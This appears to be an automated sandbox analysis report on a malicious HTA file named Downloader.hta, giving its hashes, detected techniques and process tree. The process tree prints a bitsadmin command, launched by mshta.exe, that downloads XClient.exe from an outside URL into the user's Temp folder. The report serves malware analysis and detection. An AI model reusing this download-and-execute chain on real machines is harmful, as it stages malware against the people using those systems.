Analysis
- max time kernel
148s - max time network
118s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
18/07/2026, 03:43
Static task
static1
Behavioral task
behavioral1
Sample
Downloader.hta
Resource
win10v2004-20260513-en
10 signatures
150 seconds
General
- Target Downloader.hta
- Size 840B
- Sample260718-d95f9afs5n
- SHA256 30211495aba380e4649ba7a892fea8523b0857a1db4a3be3ec59a822d385a6b4
- MD5 f27fe2354ebb52cffbb3a8cf66c6bdb3
- SHA1 439ce7924db3f534a14d78470c57c98e397969ee
- SHA512 7e22d88538dd3d9e853002fc7caf149c047be7c17dff24061236b9a29f558d53949b2a1a46e74185e32341c1fa3e2d7b9ce3917bd5e988cd12ea380acbf33c0f
- TLSH T1B40116AD6C9784447371D37512E7E2A9B423E149A0414D4873401247FF5930F8783342
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Download via BitsAdmin 1 TTPs 1 IoCs
pid Process 2132 bitsadmin.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bitsadmin.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 5344 wrote to memory of 2132 5344 mshta.exe 89
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5344 -
C:\Windows\SysWOW64\bitsadmin.exe"C:\Windows\System32\bitsadmin.exe" /transfer 8 http://www.example.com/XClient.exe C:\Users\Admin\AppData\Local\Temp\XClient.exe2⤵
- Download via BitsAdmin
- System Location Discovery: System Language Discovery
PID:2132
-